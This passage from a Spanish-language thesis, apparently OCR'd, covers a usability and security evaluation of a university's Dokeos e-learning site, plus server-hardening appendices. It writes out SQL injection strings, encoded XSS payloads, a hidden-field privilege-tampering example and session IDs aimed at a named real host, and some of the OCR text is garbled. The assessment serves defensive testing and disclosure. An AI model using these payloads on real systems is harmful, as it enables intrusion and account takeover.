parece un correo de inscripcion a la
universidad mas que de inscripcion a
cursos a distancia

28 La inscripcion a cursos puede ser Alta Comunicar al personal de

confusa cuando el cupo esta lleno o
cuando la fecha de inscripcién ya ha

finalizado

dokeos que deben mejorar la
usabilidad de la inscripcion a
la ultima

cursos, descargar

version si esta disponible.
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El administrador debe descargar y probar otras aplicaciones de e-
learning, con el fin de encontrar la herramienta mas adecuada y funcional seguin
las necesidades del SAE/SAP. Dokeos es una herramienta util pero aun
necesita ser mejorada en varios aspectos, entre ellos la facilidad de uso, por lo
que debe investigarse mas al respecto en cuestion de aplicaciones de

aprendizaje a distancia.

6.3 Test de seguridad

El test de seguridad practicado al SAE/SAP consiste en el uso de varias
herramientas de analisis de vulnerabilidades en aplicaciones web que detectan
por medio de script los ataques mas comunes en aplicaciones basadas en

Internet. Las herramientas utilizadas son:

AppDetective (www.apsecinc.com)
Syhunt Sandcat Scanner Report (www.syhunt.com)
GFI Languard (www.gfi.com)

La primera tarea del analisis de seguridad fue determinar los parametros del
servidor Web y determinar si este se encontraba activo, lo cual se realizo por
medio de un test en linea del sitio www.analox.com, de donde se obtuvo los

siguientes datos:
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Tabla XV parametros del servidor saesap.usac.edu.gt

Header Parametros

Date: Tue, 13 Jul 2004 20:43:52 GMT
Server: Apache/2.0.40 (Red Hat Linux)
Accept-Ranges: Bytes

X-Powered-By: PHP/4.2.2

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 4912

Connection: Close

Content-Type: text/html; charset=is0-8859-1

Fuente: www.analox.com, julio 2004

Los tiempos de descarga de la pagina son los siguientes:

Tabla XVI tiempos de descarga de paginas

Velocidad (bps) Descripcion Tiempo de descarga
14400 V.32 (14.4k) Modem 26.7999 seg
28800 V.34 (28.8k) Modem 13.5383 seg
57600 V.92 (56k) Modem 6.9074 seg
131072 ISDN (Dual Channel) 3.5924 seg
384000 DSL 3.5924 seg
786000 Cable MODEM 3.5924 seg
1544000 T-1/DS-1 3.5924 seg

Fuente: www.analox.com, julio 2004

225



Lo anotado muestra que el servidor es lento cuando se trata de
velocidades de 28 kbps o0 menos. A continuacion se presenta el resultado del
andlisis de vulnerabilidades a nivel de aplicacion para el sitio de e-learning del
SAE/SAP:

Inyeccion SQL

No se encontr0 ninguna vulnerabilidad de este tipo. Se utilizé la
herramienta AppDetective para realizar un test automatico y el resultado fue

negativo.

Cadenas probadas:

http://saesap.usac.edu.gt/dokeos/index.php?login=manglio”--&password=secreto
http://saesap.usac.edu.gt/dokeos/index.php?

login="manglio" "%20and%20" 1" ="1&password="secreto”
login="manglio" "%20and%20"1"="1"--&password="secreto”
login="manglio" " ;exec%20a--&password="secreto”
login="manglio” "%23&password="secreto”
login=""%2B"manglio"%2B" "&password="secreto”
login=""%2B"manglio"%2B" " ") --&password="secreto”
login=""%7C%7C"mangli0"%7C%7C" " ")--&password="secreto”

En el gréfico 11 se muestra el resultado del test:
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Figura 11. Test de inyeccion SQL

& SOL Injection Investigator

URL: |hltp: /zaesap usac. edu.gt/dokeos/index. php?

Method : |POST -
Parameters

Name. |Value. Name : |pazsward
login ‘manglio’

O passward ‘zecretn’ Yalue: ['secreto’

Update

Checks Resuls

Test Sting Result Description ~
login="manglio"--%password="secreta’ Found na evidence of SOL Injection
i Found no evidence of SOL Injection
pazsword="secreta’ Found ro evidence of SCL Injection
ipassword="secreto’ Found no evidence of SOL Injection
1"]--&password="secieta’ Found no evidence of SOL Injection
enec20a-kpassword="secret’ Found no evidence of SOL Injection

eci20a-kpassword="secreto’ Found ro evidence of SGL Injection
Found no evidence of SOL Injection
Found no evidence of SOL Injection
Frund nn evidenee nf SQI Iniectinn ™

} ‘ Clear Results
Stark

Cloze ‘

Checks Completed

Fuente: Herramienta AppDetective

Cross site scripting

Se ataco al sitio con la cadena:

http://saesap.usac.edu.gt/dokeos/index.php?%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%
28%27%61%74%61%63%61%6E%64%6F%27%29%3C%2F%73%63%72%69%70%74%3

Que es equivalente a:
http://saesap.usac.edu.gt/dokeos/index.php?<script>alert(‘atacando’)</script>

Asi como los siguientes ataques codificados:
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http://saesap.usac.edu.gt/dokeos/index.php?%U003C%U0073%U0063%U0072%U0069%U0070%U0074

%UO03E%U0061%U006C%U0065%U0072%U0074%U0028%U0027%U0061%U0074%U0061%U0063%
U0061%UO006E%U0064%U006F%U0027%U0029%U003C%U002F%U0073%U0063%U0072%U0069%U
0070%U0074%UO003E

http://saesap.usac.edu.gt/dokeos/index.php?%3Cscript%3Ealert('atacando’)%3C%2Fscript%3E
http://saesap.usac.edu.gt/dokeos/index.php?%C0%BC%C1%B3%C1%A3%C1%B2%C1%A9%C1%B0%C
1%B4%C0%BE%C1%A1%C1%AC%C1%A5%C1%B2%C1%B4%C0%A8%C0%A7%C1%A1%C1%B4%C

1%A1%C1%A3%C1%A1%C1%AE%CL1%A4%C1%AF%CO0%A7%C0%A9%C0%BC%C0%AF%C1%B3%C
1%A3%C1%B2%C1%A9%C1%B0%C1%B4%C0%BE

Todos los ataques anteriores fueron fallidos y no vulneraron el servidor.

Parameter Tampering

Se han descubierto varias vulnerabilidades de parameter tampering en el

uso de campos ocultos como la siguiente

http://saesap.usac.edu.gt/dokeos/claroline/auth/inscription.php

<input type="hidden" name="statut" id="language" value="STUDENT">

Que puede ser cambiada por ejemplo value="ADMIN” Por un usuario

malicioso.

Debido a que Dokeos es una aplicacién de terceros, se recomienda enviar

este aviso a la administracion de dicho proyecto en www.dokeos.com
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Alteracion de sesiones

Se encontraron las siguientes vulnerabilidades de manejo de sesiones:

Las sesiones se envian entre formularios como parametros ocultos y ésto
es sumamente peligroso para la seguridad, asi como identificadores de sesién

en los encabezados http

http://saesap.usac.edu.gt/dokeos/index.php?category=SAE&PHPSESSID=0a9e6f5d92fcc88dald005d04f6
de4bh9

Figura 12 escaneo de sesiones

B Session ID enumerator
Session |0 name:
|PHPSESSID |

Search for the Session D in: Cookies | [ Use HEAD methad

Nurber of requests to perform; |10
URL ta test:
|http:a’a’saesap.usac.edu.gta’dokeos

Jegzion ID
S66336edcf0dele3elSha0lGladddsan
447523ab82e30e7ef077£60317af1c71
60710a23daafd305670fa%5a255a04d55
e7L3498ch953aeceeTbe3ad0ic32569
{ehfd4200c4083369a145dd] ecc398520
6531ctheasd9623516al So3a7asfdodd
col0adddff£155053ee3cdels7elelz4010
374a4f2clb00035d957h9d0471e53d6c
ebe38aa7429ed7537387d6e86eeld960
dbal3az0558adde516be2f£142£5eT7302

Start | LCloze |

Fuente: herramienta AppDetective
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Los parametros mostrados son parte del manejo de sesiones de dokeos,
tanto las cookies como campos ocultos en los formularios html pueden permitir
a los usuarios manejar ataques de cookie poisoning e impersonar otros
usuarios con ellas, lo cual hace vulnerables las sesiones. Se debe avisar al
proyecto Dokeos para que en nuevas versiones se fortalezca el manejo de

sesiones.

6.4 Resultado de la evaluacion

Los resultados anteriormente mostrados, han sido entregados al
administrador del sitio del SAE/SAP para que se tomen las medidas pertinentes
y sean corregidos los errores de usabilidad y funcionabilidad del mencionado
sitio con el fin de hacerlo més eficiente.

El plan de negocios y marketing ha sido sugerido al administrador del
sitio para que se tomen medidas adecuadas en la gestion del sitio como
proyecto y se pueda crecer en trafico de visitantes, calidad y manejo eficiente

de costos.

El test de seguridad ha determinado que la aplicacion posee
vulnerabilidades suficientemente serias para ser tomadas en cuenta, por lo que
se aconseja su correccion a la brevedad, debido a que la aplicacion de e-
learning es un programa descargable desde Internet se recomienda que se

comunique los errores encontrados a los administradores del proyecto Dokeos.
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CONCLUSIONES

1. La metodologia de los 7 habitos de la gente altamente efectiva es una
herramienta muy util que puede utilizarse en diversos aspectos de la vida
cotidiana incluyendo la planificacién y administracion de sitios web.

2. La usabilidad es un factor clave en el desarrollo de software, en especial
de sitios web donde el tiempo de respuesta y la eficiencia de las
aplicaciones son vitales. La usabilidad permite al usuario aprender a
utilizar rapidamente los sistemas y tener una buena experiencia con los
mismos. Las empresas de desarrollo obtienen por ella un retorno de
inversidbn elevado y recompensas en la comercializacion de sus

productos.

3. Los sitios web son vulnerables a diversos tipos de ataques a nivel de
aplicacion. Es responsabilidad del experto de seguridad, conocer estas
vulnerabilidades y saber cobmo combatirlas ya que, en su mayoria los
atagues son sencillos de realizar pero pueden tener consecuencias muy

graves.

4. La administracion de sitios web es una disciplina que debe tomarse en
serio, por lo que el equipo de trabajo asociado debe tener una
planificacibn adecuada, y contar con personas con altos conocimientos

de planeacién y direccion, para llevar el proyecto a buen término.
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RECOMENDACIONES

Revisar constantemente los foros de seguridad de la red para
encontrar nuevas vulnerabilidades en las tecnologias web y sus
soluciones asociadas y fortalecer la seguridad general de los sitios

administrados.

Instalar los parches y actualizaciones mas recientes tanto en los
sistemas operativos como en herramientas de desarrollo y servidores

web.

Realizar pruebas de vulnerabilidad para tener el sistema a punto y

estar preparado contra ataques directos.

Realizar pruebas de usabilidad a los sitios web de manera periddica,
para detectar posibles errores y fallos de disefio que afecten el

rendimiento de los usuarios finales.

Capacitar al personal del equipo de desarrollo con el fin de que se
encuentre al dia en cuanto a las tecnologias utilizadas en el desarrollo
de sitios web asi como en técnicas administrativas y de analisis y

disefo.
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APENDICE 1

A continuacion se muestra una lista de sitios web relacionados con la
seguridad y actualizaciones de servidores web y herramientas de desarrollo
como PHP

Apache Web Server
http://httpd.apache.org julio 2004

Lista de correo bugtraq
http://www.securityfocus.com mayo 2004

Lista de correo de Apache
http://httpd.apache.orgg/lists.html#http-announce julio 2004

Lista de vulnerabilidades y soluciones a problemas de seguridad web
http://www.securitytracker.com/topics/topics.html julio 2004

Método de seguridad SKIP de CERT
http://lwww.cert.org/archive/pdf/SKiP.pdf julio 2004

Php parches de seguridad y filtros de validacion de la OWASP
http://www.php.net/downloads.php julio 2004
http://prdownloads.sourceforge.net/owasp/owasp-php-filters.zip?download
julio2004

Programas Anti Spyware

Spybot Search&Destroy: http://security.kolla.de mayo 2004
Lavasoft AD-aware: www.Isfileserv.com/aaw.html mayo 2004
PestPatrol: www.pestpatrol.com mayo 2004

Recomendaciones de seguridad de CERT
http://lwww.cert.org/security-improvement/practices/p067.html  julio2004
http://lwww.cert.org/security-improvement/implementations/i040.01.html julio
2004
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Seguridad Apache
http://httpd.apache.org/docs-2.1/misc/security_tips.html julio 2004

Seguridad de comercio electrénico y tépicos diversos sobre seguridad
http://www.securitytracker.com/topics/topics.html julio 2004

Seguridad Microsoft ®
http://lwww.microsoft.com/technet/security/topics/hardsys/default.mspx junio
2004

http://www.microsoft.com/technet/security/tools/urlscan.mspx julio 2004

Updates para Windows®
http://lwww.microsoft.com/security/bulletins/default.mspx julio 2004
http://v4.windowsupdate.microsoft.com/es/default.asp mayo 2004
http://www.microsoft.com/windows/downloads/default.mspx julio 2004
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Configuracion de los servidores Web 1IS y Apache.

APENDICE 2

Internet Information Service

Segun Belany y Muckin *°

version 6 de IIS:

IIS es por default configurado para http estatico, por lo tanto varios servicios

estas son las caracteristicas que han cambiado en la

estan deshabilitados por default, comparese con la version 5 que tenia

habilitados dichos servicios:

Tabla XVII comparacion entre IIS version 5y 6

Componente de IS

IIS 5.0 instalacion
predeterminada

IIS 6.0 instalacion
predeterminada

Archivos estéticos http Habilitado Habilitado
ASP Habilitado Deshabilitado
Server-side incluyes Habilitado Deshabilitado
Internet Data Connector |Habilitado Deshabilitado
WebDAV Habilitado Deshabilitado
Index Server ISAPI Habilitado Deshabilitado
Internet Printing ISAPI Habilitado Deshabilitado
CaGl Habilitado Deshabilitado
Microsoft FrontPage® Habilitado Deshabilitado
Server extensions

Cambio de Password Habilitado Deshabilitado
SMTP Habilitado Deshabilitado
FTP Habilitado Deshabilitado
ASP.NET N/A Deshabilitado

Fuente: Belany y Muckin %
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Como puede verse IS 6 es mas robusto que sus antecesores, sin
embargo requiere que el administrador conozca que opciones necesita para la
funcionabilidad del sitio web administrado. Ademas de estas funciones se debe

tomar en cuenta lo siguiente:

Modificacion de los registros de Windows®

Con el fin de evitar ataques por modificacion de encabezados (buffer
overflow o parameter tampering) o ataques para falsear la validacion de
caracteres es importante modificar algunas cadenas localizadas en el siguiente

path:

HKEY LOCAL MACHINE\System\CurrentControlSet\Services\HTTP\Parameters

o AllowRestrictedChars: esta llave Booleana indica si es posible
aceptar cadenas hexadecimales en el encabezado http, es
recomendable el valor 0 que evita encabezados maliciosamente
codificados

e MaxFieldLength: esta llave indica el tamafio maximo de cada
encabezado en bytes su valor predeterminado es 16 KB

e MaxRequestBytes: esta llave indica el limite superior del tamafio total
de peticiones entre el encabezado y la linea de peticidén. Su valor
predeter-minado es 16KB.

e UrlSegmentMaxCount: determina el maximo nimero de segmentos o
directorios aceptados por el servidor, limita el numero de diagonales
incluidas en el encabezado. Se debe analizar la estructura del sitio para
determinar el tamafio adecuado y evitar un ataque de recorrido de

directorios (traversal attack). Valor Por default 255.
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e UrlSegmentMaxLength: Coloca un maximo tamafio en la longitud de

caracteres en cualquier segmento del URL. Previene ataques de

segmentos muy largos (buffer overflow) El valor predeterminado es 260.

e EnableNonUTF8: Controla qué codificacion puede utilizarse. El valor

predeterminado 1 permite URLS codificadas con los formatos ANSI- y

DBCS adicionalmente a las codificadas en formato UTFS8.

Habilitar el logueo

Habilite el logueo para poder ver el desempefio del servidor web, también

es posible determinar cualquier intento de ataque o peticiones sospechosas. Es

importante tenerlo activado para poder analizar la seguridad del servidor web.

Apache Server

Tabla XVIII descripcion de modulos de Apache 2

Modulo Descripcion
Core El nacleo de apache Server, requerido en toda instalacion.
http_core El nicleo para http de apache, requerido en toda instalacion.
fork Multi-Processing Module (MPM) Implementa un servidor sin multi hilo. Puede
preror , . . . -
ser configurado para aceptar multi procesos. Es requerido en toda instalacion.
Provee acceso basado en nombre de host, IP u otros pardmetros, se usa para
Mod_access o ) -
las directivas autorizar, denegar y ordenar. Debe estar habilitado.
Mod_auth Requerido para la autenticacion basica por medio de archivos de texto.
Mod di Sirve para buscar y despachar archivos de indice como: "index.html",
od_dir

"default.ntm", etc.
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Continuacion

Mod_log_config |Requerido para habilitar los logs del servidor.

Requerido para utilizar codificacién, control de contenidos y documentos de

Mod_mime )
tipo MIME.

Fuente: Maj #*

Modulos dinamicos

Si desea funcionabilidad para paginas dinamicas considere habilitar los

siguientes médulos segun la herramienta que vaya a usar:

e mod_php
e mod_perl
e mod_tcl

e mod_python
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APENDICE 3

Marcas registradas

Los siete habitos de la gente altamente efectiva

Victoria privada

Victoria publica

Sea proactivo

Comience con un fin en mente

Primero lo primero

Piense en ganar ganar

Procure comprender a los demas primero y luego ser comprendido
Sinergice

Afile la sierra

Son marcas registradas de Covey Leadership Center y Franklin Covey Co

El uso de estas marcas registradas en este documento se realiza bajo los
auspicios de la norma “Fair Use” o uso Justo, de las leyes internacionales de
Copyright. El autor de estas lineas ha hecho referencia a las mismas como
sustentacion a su investigacion y nunca como una suplantacién o reemplazo de

la obra del Dr. Covey.

247



	ÍNDICE DE ILUSTRACIONES
	GLOSARIO
	RESUMEN
	OBJETIVOS
	INTRODUCCIÓN
	1.     MARCO TEÓRICO
	1.1    Los siete hábitos de la gente altamente efectiva ®
	1.2     Primer hábito:  sea proactivo
	1.3     Hábito dos:  empezar con un fin en mente
	1.4    Hábito  tres:  primero lo primero
	1.5     Hábito cuatro: piense en ganar-ganar
	1.6    Hábito  cinco:  procure comprender a los demás �     
	1.7     Hábito seis:  sinergice
	1.8     Hábito siete:  afilar la sierra
	1.9     Principios básicos sobre Internet
	1.10      Metodologías de desarrollo de software
	1.11     Usabilidad
	2.     HABITOS PRIMERO Y SEGUNDO
	2.1     Hábito uno: sea un  administrador de proyecto proact
	2.1.1     Hábito uno en administración
	2.1.2     Hábito uno en usabilidad
	2.1.3     Hábito uno en seguridad
	2.2     Hábito dos: Construya el sitio web con un fin en men
	2.2.1     Hábito dos en administración
	2.2.2     RUP para proyectos Web
	2.2.3    XP para proyectos web
	El requerimiento  no funcional más importante de cualquier p
	2.2.4     Habito dos en usabilidad: diseño de �             
	2.2.5    Fases de desarrollo
	2.2.6     Hábito dos en seguridad
	3.     TERCER HÁBITO
	3.1     Hábito tres en administración
	3.1.1     Plan de negocios web
	3.1.2     Plan de marketing web
	3.1.3     Actividades prácticas
	3.1.4     Plan financiero
	Tabla V Ingresos mensuales
	3.2     Hábito tres en usabilidad
	3.2.1     Fase de análisis
	3.2.2     Plan de usabilidad
	3.3     Tercer hábito en seguridad
	3.3.1   Fortalecer el sistema
	4. HÁBITOS CUARTO Y QUINTO
	4.1      Hábito cuatro: Piense en ganar-ganar
	4.1.1     Hábito cuatro en administración
	4.1.2     Copyright © ™ ®
	Tipo de elementos sujetos a copyright
	Todo trabajo propio basado en  trabajos  registrados  otorga
	4.1.3     Hábito cuatro en usabilidad: Principios de usabili
	2. Asegurarse que el texto y gráficos sean entendibles aún s
	6. Asegúrese que los objetos en pantalla que se muevan (por 

	4.1.4     Hábito cuatro en seguridad
	4.1.5    Inyección SQL
	4.1.6     Cross site scripting (XSS)
	4.1.7     Cookie Poisoning
	4.1.8     Buffer overflow
	4.1.9     Forzado de parámetros (parameter Tampering)
	4.1.10     Código furtivo (stealth commanding)
	4.1.11     Recorrido de directorios (directory traversal)
	4.1.12     Errores no previstos
	4.1.13     Estrategias de validación de datos
	Aceptar solo datos válidos  y conocidos
	4.2     Hábito  cinco,  procure primero comprender su entorn
	4.2.1     Hábito cinco en administración: trabajo en equipo
	4.2.2     ¿Es necesario un equipo de trabajo?
	4.2.3     Tipos de equipos en un proyecto web
	4.2.4     Hábito cinco en usabilidad: diseño
	4.2.5     Ordenación de tarjetas (card sorting)
	4.2.7     Hábito cinco en seguridad: Spyware
	4.2.8     Tipo de spyware
	5.   HÁBITOS  SEXTO Y SÉPTIMO
	5.1     Hábito seis: sinergice
	5.1.1     Hábito seis en administración: publicidad
	5.1.2     Publicidad en línea
	5.1.3    Errores comunes de publicidad en línea
	Animación exagerada
	5.1.4     Hábito seis en usabilidad: pruebas
	5.1.5     Recorrido cognoscitivo (Cognitive Walkthrough)
	5.1.6     Evaluación heurística
	5.1.7     Evaluación de laboratorio
	5.1.8     Reporte de usabilidad
	5.1.9     Hábito seis en seguridad
	5.1.10     Seguridad en el hogar
	5.2     Hábito siete, afile la sierra
	5.2.1     Habito  siete en administración: credibilidad y � 
	5.2.2     Hábito  siete en usabilidad: rediseño del sitio we
	5.2.3     Habito siete en seguridad
	6.      EVALUACIÓN DE UN SITIO WEB
	6.1     Situación actual del sitio
	6.2     Test de usabilidad
	6.3     Test de seguridad
	6.4       Resultado de la evaluación
	CONCLUSIONES
	RECOMENDACIONES
	BIBLIOGRAFÍA
	APÉNDICE 1
	APÉNDICE 2
	Modificación de los registros de Windows®
	Habilitar el logueo
	Módulos dinámicos
	APÉNDICE 3



